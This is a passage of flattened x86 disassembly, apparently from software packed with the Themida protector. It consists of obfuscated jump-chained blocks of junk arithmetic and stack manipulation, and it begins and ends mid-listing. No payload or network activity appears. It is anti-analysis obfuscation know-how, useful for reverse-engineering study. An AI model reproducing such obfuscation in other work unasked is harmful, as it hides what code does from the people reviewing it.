[esp+22h+var_22], ebx xor ebx, [esp+22h+var_22] mov esp, [esp+22h+var_22] mov [esp+22h+var_22], ebx push 5CA2h mov [esp+26h+var_28+2], ecx push esi jmp loc_563488 ; --------------------------------------------------------------------------- loc_565A6E: ; CODE XREF: sub_562ABA+43FBj pop eax inc eax xor eax, 2CA8564Dh mov ebp, eax mov eax, [esp+26h+var_28+2] jmp loc_560ADA ; --------------------------------------------------------------------------- loc_565A7F: ; CODE XREF: sub_562ABA+272Cj xor edx, 4887471h shl edx, 3 sub edx, 59823F50h jmp loc_568401 ; --------------------------------------------------------------------------- loc_565A93: ; CODE XREF: sub_562ABA+7B47j sub al, ch pop ecx jmp loc_56F34A ; --------------------------------------------------------------------------- loc_565A9B: ; CODE XREF: sub_562ABA+F39Fj sub ecx, 6848070Fh sub edx, ecx mov ecx, [esp-0Ah+arg_4+2] add esp, 4 mov eax, edx mov edx, [esp-0Eh+arg_8+2] add esp, 4 add edx, eax pop eax sub ebp, 345844E9h add ebp, edx add ebp, 345844E9h pop edx push edx jmp loc_5658FD ; --------------------------------------------------------------------------- loc_565AC9: ; CODE XREF: sub_562ABA-70Dj mov edi, 498166EFh dec edi jmp loc_5601DA ; --------------------------------------------------------------------------- loc_565AD4: ; CODE XREF: sub_562ABA+8B38j mov [esp+42h+var_42], eax push ecx push edx push ecx jmp loc_56DA96 ; --------------------------------------------------------------------------- loc_565ADF: ; CODE XREF: sub_562ABA+FCD8j push bx push eax jmp loc_56EE5B ; --------------------------------------------------------------------------- loc_565AE7: ; CODE XREF: sub_562ABA-1174j xor edx, esi xor esi, edx xor edx, esi sub edx, 0FFFFFFFFh dec edx push ecx mov ecx, 691C820Dh xor edx, ecx pop ecx sub eax, 4DCA1611h add eax, edx add eax, 4DCA1611h jmp loc_5654C8 ; --------------------------------------------------------------------------- loc_565B0E: ; CODE XREF: sub_562ABA+6AC9j pop esi jmp loc_55F4BF ; --------------------------------------------------------------------------- loc_565B14: ; CODE XREF: sub_562ABA-2EF2j push [esp+0Ah+var_C+2] pop edi add esp, 4 push esi jmp loc_560F11 ; --------------------------------------------------------------------------- loc_565B24: ; CODE XREF: sub_562ABA+2D27j pop esi add esp, 4 add ebx, esi push [esp+12h+var_12] pop esi add esp, 4 jmp loc_567C59 ; --------------------------------------------------------------------------- loc_565B36: ; CODE XREF: sub_562ABA+1F5j add ebp, edx sub ebp, 7B9B5CC1h mov edx, [esp+0Ch+var_C] add esp, 4 sub ebp, edi sub ebp, 45B809FFh jmp loc_561DD0 ; --------------------------------------------------------------------------- loc_565B51: ; CODE XREF: sub_562ABA+CDB1j push esp jmp loc_57214A ; --------------------------------------------------------------------------- loc_565B57: ; CODE XREF: sub_562ABA+EE8Dj movzx eax, al mov dx, word ptr [esp+0Ch+var_C] sub esp, 4 mov [esp+10h+var_12+2], eax push 2AB6h mov [esp+14h+var_16+2], esp add [esp+14h+var_16+2], 4 push [esp+14h+var_16+2] mov eax, [esp+18h+var_1A+2] add esp, 4 add esp, 4 push esi mov esi, 4F884666h add esi, 1 push 6691h mov [esp+18h+var_1A+2], edi mov edi, 4C7949AFh xor esi, edi pop edi not esi dec esi jmp loc_5705FC ; --------------------------------------------------------------------------- loc_565BA9: ; CODE XREF: sub_562ABA+E298j cmp cx, ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_565BB2: ; CODE XREF: sub_562ABA+E05Cj push edi mov edi, 0 sub edi, edx xchg edi, edx pop edi shr edx, 7 inc edx jmp loc_5683E7 ; --------------------------------------------------------------------------- loc_565BC6: ; CODE XREF: sub_562ABA-476Fj mov edi, 0D159CC05h jmp loc_55E7CF ; --------------------------------------------------------------------------- loc_565BD0: ; CODE XREF: sub_562ABA+1B7Dj pop ebp mov eax, ebp pop ebp sub ebx, 34D54562h add ebx, eax add ebx, 34D54562h pop eax push esi mov esi, 4 jmp loc_56F9AA ; --------------------------------------------------------------------------- loc_565BEE: ; CODE XREF: sub_562ABA+E12Fj pop ecx sub bl, dh add bl, 1Fh jmp loc_560E0E ; --------------------------------------------------------------------------- loc_565BF9: ; CODE XREF: sub_562ABA+3F51j mov dl, 8Ch push edx mov dh, 0A4h dec dh push small 2A05h mov word ptr [esp+28h+var_28], cx mov cl, 0BAh and dh, cl pop cx jmp loc_56AF9B ; --------------------------------------------------------------------------- push [esp+26h+var_28+2] pop ecx jmp loc_569326 ; --------------------------------------------------------------------------- loc_565C1C: ; CODE XREF: sub_562ABA+BB72j push ecx push edx jmp loc_56D12E ; --------------------------------------------------------------------------- mov ecx, [esp+0] sub esp, 4 mov [esp+32h+var_32], ebp mov ebp, esp jmp loc_55F3ED ; --------------------------------------------------------------------------- loc_565C36: ; CODE XREF: sub_562ABA+A571j mov edx, ecx pop ecx sub edi, edx jmp loc_571A2A ; --------------------------------------------------------------------------- loc_565C40: ; CODE XREF: sub_562ABA+3E9Fj shl esi, 8 shl esi, 7 push edx mov edx, 3AE85E0Dh xor edx, 7E6E76FBh dec edx shl edx, 6 not edx xor edx, 6ED67F8Ah jmp loc_56E953 ; --------------------------------------------------------------------------- loc_565C63: ; CODE XREF: sub_562ABA+26AFj pop ecx jmp loc_565E81 ; --------------------------------------------------------------------------- loc_565C69: ; CODE XREF: sub_562ABA+975Ej mov ebx, 4BCC4DFAh jmp loc_56E71F ; --------------------------------------------------------------------------- loc_565C73: ; CODE XREF: sub_562ABA-3508j add eax, 4 jmp loc_56C83C ; --------------------------------------------------------------------------- loc_565C7D: ; CODE XREF: sub_562ABA-BB1j shr edx, 1 push 18FAh mov [esp+0], eax mov eax, 433044Ch not eax jmp loc_56AD4A ; --------------------------------------------------------------------------- loc_565C93: ; CODE XREF: sub_562ABA+857Fj mov ecx, esp push 2D27h jmp loc_56177E ; --------------------------------------------------------------------------- loc_565C9F: ; CODE XREF: sub_562ABA+1D96j push ebp jmp loc_560ED2 ; --------------------------------------------------------------------------- loc_565CA5: ; CODE XREF: sub_562ABA-40F1j pop edi push edi mov edi, 52350185h sub ebp, 7CE449F7h add ebp, 1D2E035Ah add ebp, edi sub ebp, 1D2E035Ah add ebp, 7CE449F7h pop edi add ebp, ebx sub ebp, 52350185h push [esp+1Eh+var_1E] mov ebx, [esp+22h+var_22] add esp, 4 push 1E1Dh mov [esp+22h+var_22], edi mov edi, esp push ecx mov ecx, 0E9509E1h jmp loc_56A296 ; --------------------------------------------------------------------------- loc_565CED: ; CODE XREF: sub_562ABA+3401j add esp, 4 add ebx, edi mov edi, [esp+22h+var_22] sub esp, 4 mov [esp+26h+var_28+2], ebx mov ebx, esp add ebx, 4 jmp loc_569CAC ; --------------------------------------------------------------------------- loc_565D0E: ; CODE XREF: sub_562ABA+2A64j pop ecx pop [esp+12h+var_12] jmp loc_571BE2 ; --------------------------------------------------------------------------- loc_565D17: ; CODE XREF: sub_562ABA+6791j push 6F4Ah jmp loc_572806 ; --------------------------------------------------------------------------- loc_565D21: ; DATA XREF: Themida_:0055DFB8o lodsd jmp loc_5718A3 ; --------------------------------------------------------------------------- loc_565D27: ; CODE XREF: sub_562ABA+BCCj xor ebx, edx pop edx add ebx, 616D79AFh push esi push 0E7FAA0D9h jmp loc_5657DE ; --------------------------------------------------------------------------- loc_565D3B: ; CODE XREF: sub_562ABA+5CBDj add ecx, edx jmp loc_570A7A ; --------------------------------------------------------------------------- loc_565D42: ; CODE XREF: sub_562ABA+AE36j mov [esp-4+arg_0], edx jmp loc_5640B6 ; --------------------------------------------------------------------------- loc_565D4A: ; CODE XREF: sub_562ABA+E4DAj push esp pop eax push ebx jmp loc_56C274 ; --------------------------------------------------------------------------- loc_565D52: ; CODE XREF: sub_562ABA+57DEj or edx, 0F73B0Ch add edx, 0B9BABC29h add ebx, edx pop edx push esi mov esi, 19290FE2h sub eax, esi pop esi add eax, ebx add eax, 19290FE2h pop ebx pop ebp jmp loc_56EAA4 ; --------------------------------------------------------------------------- loc_565D78: ; CODE XREF: sub_562ABA+4039j push ebx push esp jmp loc_55FFD6 ; --------------------------------------------------------------------------- loc_565D7F: ; CODE XREF: sub_562ABA+4F46j push esi mov esi, 6862FDC1h sub ecx, esi pop esi mov edx, ecx mov ecx, [esp-4+arg_0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp add eax, edx pop edx sub eax, 324D7C0Eh jmp loc_56B5D9 ; --------------------------------------------------------------------------- loc_565DAA: ; CODE XREF: sub_562ABA+612Ej mov eax, 4 add esi, 2B1B094Ah jmp loc_55E578 ; --------------------------------------------------------------------------- loc_565DBA: ; CODE XREF: sub_562ABA+4613j inc ebp jmp loc_56E840 ; --------------------------------------------------------------------------- loc_565DC0: ; CODE XREF: sub_562ABA+9A61j mov ebx, esp jmp loc_561010 ; --------------------------------------------------------------------------- loc_565DC7: ; CODE XREF: sub_562ABA-2E22j inc ah xor ah, 0FAh or ah, 0C5h add ah, 93h not ah xor ah, 57h sub bl, ah mov eax, [esp+12h+var_12] jmp loc_56A960 ; --------------------------------------------------------------------------- loc_565DE1: ; CODE XREF: sub_562ABA+3B9j mov edi, 59C66D60h sub ebp, edi pop edi pop ecx add [esp+16h+var_12], ebp pop ebp jmp loc_55E09F ; --------------------------------------------------------------------------- loc_565DF4: ; CODE XREF: sub_562ABA-2375j mov ebx, 782327EBh sub ebx, 0AB1CF107h add ebp, ebx pop ebx add esi, ebp mov ebp, [esp+0] push ebp mov ebp, esp push edi mov edi, 7B2F08F7h jmp loc_55EF27 ; --------------------------------------------------------------------------- loc_565E15: ; CODE XREF: sub_562ABA+1DC7j xor edi, [esp+1Eh+var_1E] pop esp and ecx, esi push [esp+1Ah+var_1A] mov esi, [esp+1Eh+var_1E] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+22h+var_22] pop esp push 1164h mov [esp+22h+var_22], eax mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp add eax, 4 jmp loc_570DC7 ; --------------------------------------------------------------------------- loc_565E4C: ; CODE XREF: sub_562ABA+C07Aj mov word ptr [esp+22h+var_22], di jmp loc_568343 ; --------------------------------------------------------------------------- loc_565E55: ; CODE XREF: sub_562ABA+E56Ej mov ebx, 53C9494Bh sub eax, ebx pop ebx jmp loc_56B7F4 ; --------------------------------------------------------------------------- loc_565E62: ; CODE XREF: sub_562ABA+3966j add ebp, 841BA046h add ecx, ebp jmp loc_571541 ; --------------------------------------------------------------------------- loc_565E6F: ; CODE XREF: sub_562ABA+1FB9j pop ebx push edi jmp loc_56E341 ; --------------------------------------------------------------------------- loc_565E76: ; CODE XREF: sub_562ABA+F596j sub esp, 4 jmp loc_566010 ; --------------------------------------------------------------------------- loc_565E81: ; CODE XREF: sub_562ABA+31AAj sub ecx, 469746B8h add ecx, eax add ecx, 469746B8h push [esp-6+arg_0+2] pop eax push eax mov eax, esp jmp loc_567321 ; --------------------------------------------------------------------------- loc_565E9B: ; CODE XREF: sub_562ABA-105Cj mov edx, 9406259h not edx dec edx add edx, 222A59EFh inc edx xor edx, 37357680h sub edx, 636FB888h add edi, edx mov edx, [esp+3Ch+var_3E+2] jmp loc_565CED ; --------------------------------------------------------------------------- loc_565EC0: ; CODE XREF: sub_562ABA+CDC7j push [esp+3Ch+var_3A+2] pop ecx pop [esp+3Ch+var_3E+2] pop esp jmp loc_563886 ; --------------------------------------------------------------------------- loc_565ECE: ; CODE XREF: sub_562ABA+948Cj xchg ebp, [esp+34h+var_36+2] pop esp mov [esp+30h+var_32+2], eax mov eax, 2F971663h sub [esp+0Ch], eax jmp loc_57213C ; --------------------------------------------------------------------------- loc_565EE3: ; CODE XREF: sub_562ABA+E994j push 0DD7h mov [esp+34h+var_36+2], esp add [esp+34h+var_36+2], 4 mov ecx, [esp+34h+var_36+2] add esp, 4 push edi jmp loc_5703E2 ; --------------------------------------------------------------------------- loc_565EFE: ; CODE XREF: sub_562ABA+E666j xchg ebp, [esp+34h+var_36+2] jmp loc_564B8A ; --------------------------------------------------------------------------- loc_565F06: ; CODE XREF: sub_562ABA+46CDj pop eax add edi, eax sub edi, 1B8D0447h jmp loc_564C0C ; --------------------------------------------------------------------------- loc_565F14: ; CODE XREF: sub_562ABA+D6C8j mov ebp, edx pop edx sub edx, ebp mov ebp, [esp+2Ch+var_2C] add esp, 4 sub edx, esi jmp loc_56A1E9 ; --------------------------------------------------------------------------- loc_565F26: ; CODE XREF: sub_562ABA-3184j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_565F2B: ; CODE XREF: sub_562ABA+DACDj push edi mov edi, 614303A1h jmp loc_56FDC4 ; --------------------------------------------------------------------------- loc_565F36: ; CODE XREF: sub_562ABA+B53Dj pop eax push dword ptr [esp+0] mov ecx, [esp+12h+var_12] push ebx push esp jmp loc_570010 ; --------------------------------------------------------------------------- loc_565F44: ; CODE XREF: sub_562ABA+B87Aj add edx, ebx mov ebx, [esp+1Ah+var_1A] add esp, 4 xor eax, edx mov edx, [esp+16h+var_16] jmp loc_566B9A ; --------------------------------------------------------------------------- loc_565F59: ; CODE XREF: sub_562ABA+DD25j mov ecx, esp add ecx, 4 push 4D81h mov [esp+1Ah+var_1A], edx mov edx, 4 sub ecx, edx jmp loc_5652CF ; --------------------------------------------------------------------------- loc_565F75: ; CODE XREF: sub_562ABA+7D0Dj push [esp+1Ah+var_1A] mov eax, [esp+1Eh+var_1E] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+1Eh+var_1E] pop esp jmp loc_56E4C8 ; --------------------------------------------------------------------------- loc_565F99: ; CODE XREF: sub_562ABA+989Dj mov [esp+1Ah+var_1A], ecx pop edx jmp loc_5608CA ; --------------------------------------------------------------------------- loc_565FA2: ; CODE XREF: sub_562ABA+4BDEj dec ebp push esi mov esi, 48B3025Eh jmp loc_571A78 ; --------------------------------------------------------------------------- loc_565FAE: ; CODE XREF: sub_562ABA+72E1j pop esp xor bh, ch xor ch, bh xor bh, ch xor byte ptr [esp+16h+var_16], bh xor bh, byte ptr [esp+16h+var_16] xor byte ptr [esp+16h+var_16], bh jmp loc_55E09F ; --------------------------------------------------------------------------- loc_565FC3: ; CODE XREF: sub_562ABA+535Cj pop edx mov eax, edi pop edi add [edi+24h], eax jmp loc_5682D7 ; --------------------------------------------------------------------------- loc_565FCF: ; CODE XREF: sub_562ABA+76A5j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0] pop esp mov [esp+0Ah+var_C+2], edi push ebp push edx mov edx, 121F63D6h jmp loc_5687B4 ; --------------------------------------------------------------------------- loc_565FF0: ; CODE XREF: sub_562ABA+14AEj add edx, 4 push edi jmp loc_56DEAC ; --------------------------------------------------------------------------- loc_565FFC: ; CODE XREF: sub_562ABA+DF13j push ax jmp loc_569A43 ; --------------------------------------------------------------------------- loc_566003: ; CODE XREF: sub_562ABA+5B52j sub ecx, 5A014B57h add ecx, ebx jmp loc_5647A7 ; --------------------------------------------------------------------------- loc_566010: ; CODE XREF: sub_562ABA+33C2j mov [esp+1Ah+var_1A], ecx mov ecx, 3A54663Dh and ecx, 29320195h jmp loc_567963 ; --------------------------------------------------------------------------- loc_566023: ; CODE XREF: sub_562ABA+59DDj mov edx, 4 add ebp, edx jmp loc_5664BB ; --------------------------------------------------------------------------- loc_56602F: ; CODE XREF: sub_562ABA+F3B1j sub al, cl sub al, 52h add al, 94h pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_56ADCC ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Ah+var_1A] jmp sub_55FC41 ; --------------------------------------------------------------------------- loc_56604D: ; CODE XREF: sub_562ABA-3A9Ej pop eax jmp loc_571395 ; --------------------------------------------------------------------------- loc_566053: ; CODE XREF: sub_562ABA+67B7j pop ecx push edx jmp loc_564C3E ; --------------------------------------------------------------------------- loc_56605A: ; CODE XREF: sub_562ABA+FAA1j push eax mov eax, 748D0EA3h push ebx mov ebx, 71F33B46h shr ebx, 1 neg ebx shr ebx, 1 jmp loc_569023 ; --------------------------------------------------------------------------- loc_566071: ; CODE XREF: sub_562ABA+D2F0j mov edi, [esp+0Ah+var_C+2] jmp loc_55F9E9 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0Ah+var_C+2] sub esp, 4 jmp loc_55FC4A ; --------------------------------------------------------------------------- loc_566088: ; CODE XREF: sub_562ABA+CC30j pop esp jmp loc_56E240 ; --------------------------------------------------------------------------- loc_56608E: ; CODE XREF: sub_562ABA-ACj push edi push edx mov edx, 14A907B3h not edx add edx, 73CC76B1h or edx, 45B37E23h xor edx, 1682316Eh jmp loc_57296B ; --------------------------------------------------------------------------- loc_5660AE: ; CODE XREF: sub_562ABA-129Dj sub esi, 2160441Bh jmp loc_55E8EC ; --------------------------------------------------------------------------- loc_5660B9: ; CODE XREF: sub_562ABA+23D4j xchg edx, [esp+34h+var_36+2] pop esp jmp loc_56439A ; --------------------------------------------------------------------------- loc_5660C2: ; CODE XREF: sub_562ABA+CCF5j not edx jmp sub_572714 ; --------------------------------------------------------------------------- loc_5660C9: ; CODE XREF: sub_562ABA+4E8Aj mov esi, 0CF08FEF4h sub edx, esi jmp loc_564BFA ; --------------------------------------------------------------------------- loc_5660D5: ; CODE XREF: sub_562ABA+A0C7j xchg esi, edi shr edi, 4 push ebp jmp loc_56320D ; --------------------------------------------------------------------------- loc_5660E0: ; CODE XREF: sub_562ABA+D117j mov ebx, edi pop edi add ebx, 1 add ebx, 1 shr ebx, 7 jmp loc_562A8F ; --------------------------------------------------------------------------- loc_5660F4: ; CODE XREF: sub_55FCA5+197j sub eax, ebp pop ebp sub eax, 6F2D50C2h push ecx mov ecx, 65D5761h add eax, ecx pop ecx push edi jmp loc_568513 ; --------------------------------------------------------------------------- loc_56610B: ; CODE XREF: sub_562ABA+4F9Dj pop esi sub esp, 4 mov [esp+30h+var_32+2], ecx push [esp+30h+var_2C] mov ecx, [esp+34h+var_36+2] jmp loc_57102D ; --------------------------------------------------------------------------- loc_566121: ; CODE XREF: sub_562ABA+8258j push [esp+34h+var_36+2] pop edx jmp loc_55FFE2 ; --------------------------------------------------------------------------- loc_56612A: ; CODE XREF: sub_562ABA-4100j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], ecx jmp loc_5694DB ; --------------------------------------------------------------------------- loc_566143: ; CODE XREF: sub_562ABA+A34Fj mov edi, [esp+1Eh+var_1E] add esp, 4 push edi jmp loc_565357 ; --------------------------------------------------------------------------- loc_56614F: ; CODE XREF: sub_562ABA+BE51j sub esi, 4122864Ch add ecx, 598A25A1h jmp loc_56C45F ; --------------------------------------------------------------------------- loc_566160: ; CODE XREF: sub_562ABA+A2B7j mov [esp+1Eh+var_1E], eax mov eax, 0D5DFC764h xor ebp, eax pop eax mov esi, ebp pop ebp not esi neg esi push ecx mov ecx, 3DD11EA8h xor ecx, 276D0D68h push ebp jmp loc_56C5C0 ; --------------------------------------------------------------------------- loc_566184: ; CODE XREF: sub_562ABA+A16Dj xor ecx, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], ecx xor ecx, [esp+1Eh+var_1E] pop esp and byte ptr [esp+1Ah+var_1A], al pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_566197: ; CODE XREF: sub_562ABA+9497j push ecx jmp loc_570BDC ; --------------------------------------------------------------------------- loc_56619D: ; CODE XREF: sub_562ABA+66BAj push ebx push [esp+26h+var_22] pop ebx pop [esp+26h+var_28+2] mov esp, [esp+22h+var_22] ror byte ptr [esp+22h+var_22], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5661B2: ; CODE XREF: sub_562ABA+DE82j pop ebx jmp loc_560821 ; --------------------------------------------------------------------------- loc_5661B8: ; CODE XREF: sub_562ABA-32C7j add ebx, 3CE958CAh add ebx, esi sub ebx, 3CE958CAh jmp loc_5620BC ; --------------------------------------------------------------------------- loc_5661CB: ; CODE XREF: sub_562ABA+1CA6j push ecx jmp loc_569E54 ; --------------------------------------------------------------------------- loc_5661D1: ; CODE XREF: sub_562ABA-4392j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+22h+var_22] pop esp push eax push ebp mov ebp, 5E4374F6h jmp loc_5715E0 ; --------------------------------------------------------------------------- loc_5661ED: ; CODE XREF: sub_562ABA+6C61j mov ebx, 4 add edi, ebx pop ebx xor edi, [esp+22h+var_22] xor [esp+22h+var_22], edi jmp loc_564128 ; --------------------------------------------------------------------------- loc_566200: ; CODE XREF: sub_562ABA+6A14j mov ebp, ecx pop ecx pop edi jmp loc_56CCA6 ; --------------------------------------------------------------------------- loc_566209: ; CODE XREF: sub_562ABA+FDFj xor eax, ebx mov ebx, [esp+10h+var_12+2] jmp loc_570136 ; --------------------------------------------------------------------------- loc_566213: ; CODE XREF: sub_562ABA+1D7Ej push eax mov al, 21h mov bl, 0FAh sub bl, al pop eax sub al, 0AEh sub al, bl jmp loc_56E4E0 ; --------------------------------------------------------------------------- push 5338h mov [esp+34h+var_36+2], esi mov esi, esp push 0A70h mov [esp+38h+var_3A+2], eax mov eax, 21942BE8h sub eax, 21942BE4h add esi, eax jmp loc_564D2A ; --------------------------------------------------------------------------- loc_566247: ; CODE XREF: sub_562ABA+53FEj xor ebp, 58E1228Dh shr ebp, 1 add ebp, 1 xor ebp, 54897EB7h jmp loc_566A7C ; --------------------------------------------------------------------------- loc_566260: ; CODE XREF: sub_562ABA+644Bj pop esp mov [esp+34h+var_36+2], ebx push [esp+34h+var_32+2] mov ebx, [esp+38h+var_3A+2] jmp loc_56E0A8 ; --------------------------------------------------------------------------- loc_566270: ; CODE XREF: sub_562ABA+5884j push ebx mov ebx, 36F0301Ah jmp loc_567796 ; --------------------------------------------------------------------------- loc_56627B: ; CODE XREF: sub_562ABA-2726j sub ebp, 1C9105DAh sub ebp, 66E717Ch jmp loc_570F37 ; --------------------------------------------------------------------------- loc_56628C: ; CODE XREF: sub_562ABA+F211j add esp, 4 or [edi+1Ch], ebx jmp loc_5714D4 ; --------------------------------------------------------------------------- loc_566297: ; CODE XREF: sub_562ABA+7E18j add ebx, 4 xor ebx, [esp-14h+arg_10] jmp loc_5693D5 ; --------------------------------------------------------------------------- loc_5662A2: ; CODE XREF: sub_562ABA+2833j push eax mov eax, ebp jmp loc_5622BB ; --------------------------------------------------------------------------- loc_5662AA: ; CODE XREF: sub_562ABA+8FB0j add esp, 4 jmp loc_5706D5 ; --------------------------------------------------------------------------- loc_5662B2: ; CODE XREF: sub_562ABA+2839j push ecx mov ecx, 4 add ebp, ecx mov ecx, [esp+36h+var_36] add esp, 4 add ebp, 4 jmp loc_55EEC5 ; --------------------------------------------------------------------------- loc_5662CE: ; CODE XREF: sub_562ABA+7782j mov ebx, 37564FD6h jmp loc_55E8DE ; --------------------------------------------------------------------------- loc_5662D8: ; CODE XREF: sub_562ABA+15B8j pop esp jmp loc_56EC87 ; --------------------------------------------------------------------------- loc_5662DE: ; CODE XREF: sub_562ABA+4CABj pop ebx pop cx add al, dl jmp loc_5603F6 ; --------------------------------------------------------------------------- loc_5662E8: ; CODE XREF: sub_562ABA+EBC3j pop eax push ebx mov bl, 16h mov al, 1Eh sub al, bl pop ebx push ecx mov ch, 0BFh add al, ch jmp loc_56D421 ; --------------------------------------------------------------------------- loc_5662FB: ; CODE XREF: sub_562ABA-26C9j pop ebx sub esp, 4 mov [esp+6+var_8+2], ebp mov ebp, 7D180B30h jmp loc_5722DE ; --------------------------------------------------------------------------- loc_56630C: ; CODE XREF: sub_562ABA+CE75j push esp pop [esp+0Ah+var_C+2] jmp loc_570774 ; --------------------------------------------------------------------------- loc_566315: ; CODE XREF: sub_562ABA+C1D6j mov ebx, 6CB052DBh sub ebx, 560F1E5Fh shr ebx, 5 jmp loc_55F0EB ; --------------------------------------------------------------------------- loc_566328: ; CODE XREF: sub_562ABA+12FAj push 382Fh mov [esp+3Ah+var_3A], ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub ebp, edi jmp loc_5728E9 ; --------------------------------------------------------------------------- loc_566345: ; CODE XREF: sub_562ABA+C8E7j push ebp push [esp+42h+var_3E] mov ebp, [esp+46h+var_46] add esp, 4 pop [esp+42h+var_42] mov esp, [esp+3Eh+var_3E] imul ecx, eax push ecx pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_566363: ; CODE XREF: sub_55FCA5+217j xchg ebp, [esp+46h+var_46] pop esp push 6C0Ch mov [esp+46h+var_46], edi mov edi, esp jmp loc_56CDCE ; --------------------------------------------------------------------------- loc_566376: ; CODE XREF: sub_562ABA+FF6Dj xor ebx, 9E106BEh mov ebp, ebx pop ebx mov esi, 118FF7B7h add esi, ebp pop ebp jmp loc_55F138 ; --------------------------------------------------------------------------- loc_56638C: ; CODE XREF: sub_562ABA+2C17j pop esp mov [esp+2Ah+var_2C+2], ebx push 4EF8h mov [esp+0], ebp jmp loc_5613E5 ; --------------------------------------------------------------------------- loc_56639D: ; CODE XREF: sub_562ABA+3C7Ej sub edx, 4 jmp loc_56F8BD ; --------------------------------------------------------------------------- loc_5663A8: ; CODE XREF: sub_562ABA+92B2j add [esp+0], eax push ebx mov ebx, 6F736DD0h add [esp+4], ebx pop ebx push ebx push 3040h mov [esp+36h+var_36], ebp jmp loc_56278C ; --------------------------------------------------------------------------- loc_5663C4: ; CODE XREF: sub_562ABA+BC7Cj mov eax, esp jmp loc_55F107 ; --------------------------------------------------------------------------- loc_5663CB: ; CODE XREF: sub_562ABA+10Fj or eax, 716E7D3Dh jmp loc_56AA52 ; --------------------------------------------------------------------------- loc_5663D5: ; CODE XREF: sub_562ABA+4776j pop ecx jmp loc_55EE4A ; --------------------------------------------------------------------------- loc_5663DB: ; CODE XREF: sub_562ABA+4518j sub al, cl pop ecx push ebx mov bh, 0A8h shl bh, 1 jmp loc_563C12 ; --------------------------------------------------------------------------- loc_5663E8: ; CODE XREF: sub_562ABA+C901j pop eax add esi, 5CB5EC4h add esi, ecx sub esi, 5CB5EC4h add esi, 6F6D46E8h push edx mov edx, 7CB03C39h sub edx, 48C0E50Eh sub esi, edx pop edx jmp loc_562E78 ; --------------------------------------------------------------------------- loc_566411: ; CODE XREF: sub_562ABA+64B4j add ebp, 6BAA48DEh push ecx mov ecx, 423655C2h xor ebp, ecx pop ecx jmp loc_565E62 ; --------------------------------------------------------------------------- loc_566425: ; CODE XREF: sub_562ABA+BA78j mov edx, 6C937044h jmp loc_563B06 ; --------------------------------------------------------------------------- loc_56642F: ; CODE XREF: sub_562ABA+8D7j mov esi, [esp+0] jmp loc_56E34B ; --------------------------------------------------------------------------- loc_566437: ; CODE XREF: sub_562ABA+8606j sub esi, 0D2430477h and ebp, esi pop esi or ebp, 164E2629h dec ebp push eax jmp loc_56483D ; --------------------------------------------------------------------------- loc_56644D: ; CODE XREF: sub_562ABA+CEB2j mov esi, edi push esi pop eax mov esi, [esp+0] push ecx jmp loc_56D777 ; --------------------------------------------------------------------------- loc_56645A: ; CODE XREF: sub_55FCA5+159j mov ebx, 62D22715h sub ebx, 62D22715h mov [edi+20h], ebx mov ebx, [esp+32h+var_32] sub esp, 4 mov [esp+36h+var_36], edx jmp loc_56E378 ; --------------------------------------------------------------------------- loc_566479: ; CODE XREF: sub_561161+9j add edi, 4 sub edi, 4 xchg edi, [esp+36h+var_36] mov esp, [esp+36h+var_36] push 51F9h mov [esp+3Ah+var_3A], esp add [esp+3Ah+var_3A], 4 pop [esp+3Ah+var_3A] add [esp+36h+var_36], 4 push [esp+36h+var_36] mov ecx, [esp+3Ah+var_3A] add esp, 4 jmp loc_56DBA8 ; --------------------------------------------------------------------------- loc_5664B2: ; CODE XREF: sub_562ABA+507Ej push [esp+36h+var_36] pop edi jmp loc_56CFDE ; --------------------------------------------------------------------------- loc_5664BB: ; CODE XREF: sub_562ABA+3570j pop edx jmp loc_56F9B9 ; --------------------------------------------------------------------------- loc_5664C1: ; CODE XREF: sub_562ABA+185j sub edx, 4 xchg edx, [esp-0Ah+arg_4+2] mov esp, [esp-0Ah+arg_4+2] jmp loc_567EBD ; --------------------------------------------------------------------------- loc_5664D2: ; CODE XREF: sub_562ABA+684Dj add edx, 4 sub esp, 4 mov [esp-6+arg_0+2], ebx mov ebx, 4 sub edx, ebx pop ebx xchg edx, [esp-0Ah+arg_4+2] jmp loc_5635F2 ; --------------------------------------------------------------------------- loc_5664EE: ; CODE XREF: sub_562ABA+C815j pop eax sub eax, 528A17E2h pop ebp push edi mov edi, 39165C30h dec edi xor edi, 3A257542h jmp loc_56F2F5 ; --------------------------------------------------------------------------- loc_566507: ; CODE XREF: sub_562ABA+A19j sub ebp, eax jmp loc_5673D3 ; --------------------------------------------------------------------------- loc_56650E: ; CODE XREF: sub_562ABA+E283j mov [esp+14h+var_16+2], esi mov esi, 4 add ecx, esi pop esi add ecx, 4 xchg ecx, [esp+10h+var_12+2] pop esp jmp loc_563452 ; --------------------------------------------------------------------------- loc_566528: ; CODE XREF: sub_562ABA+CB78j add esp, 4 add esp, 4 sub al, 89h jmp loc_5670E6 ; --------------------------------------------------------------------------- loc_56653B: ; CODE XREF: sub_562ABA+21D5j pop ebx mov esi, edi jmp loc_55EEA2 ; --------------------------------------------------------------------------- loc_566543: ; CODE XREF: sub_562ABA+4202j sub esp, 4 mov [esp+14h+var_16+2], edi push [esp+14h+var_12+2] mov edi, [esp+18h+var_1A+2] add esp, 4 jmp loc_571DD7 ; --------------------------------------------------------------------------- loc_566558: ; CODE XREF: sub_562ABA+5409j mov ebx, 5B700AE0h shr ebx, 2 jmp loc_56DE3F ; --------------------------------------------------------------------------- loc_566565: ; CODE XREF: sub_562ABA+B54j or eax, 37FC78BFh sub eax, 0FFFE79FBh add ecx, eax jmp loc_561670 ; 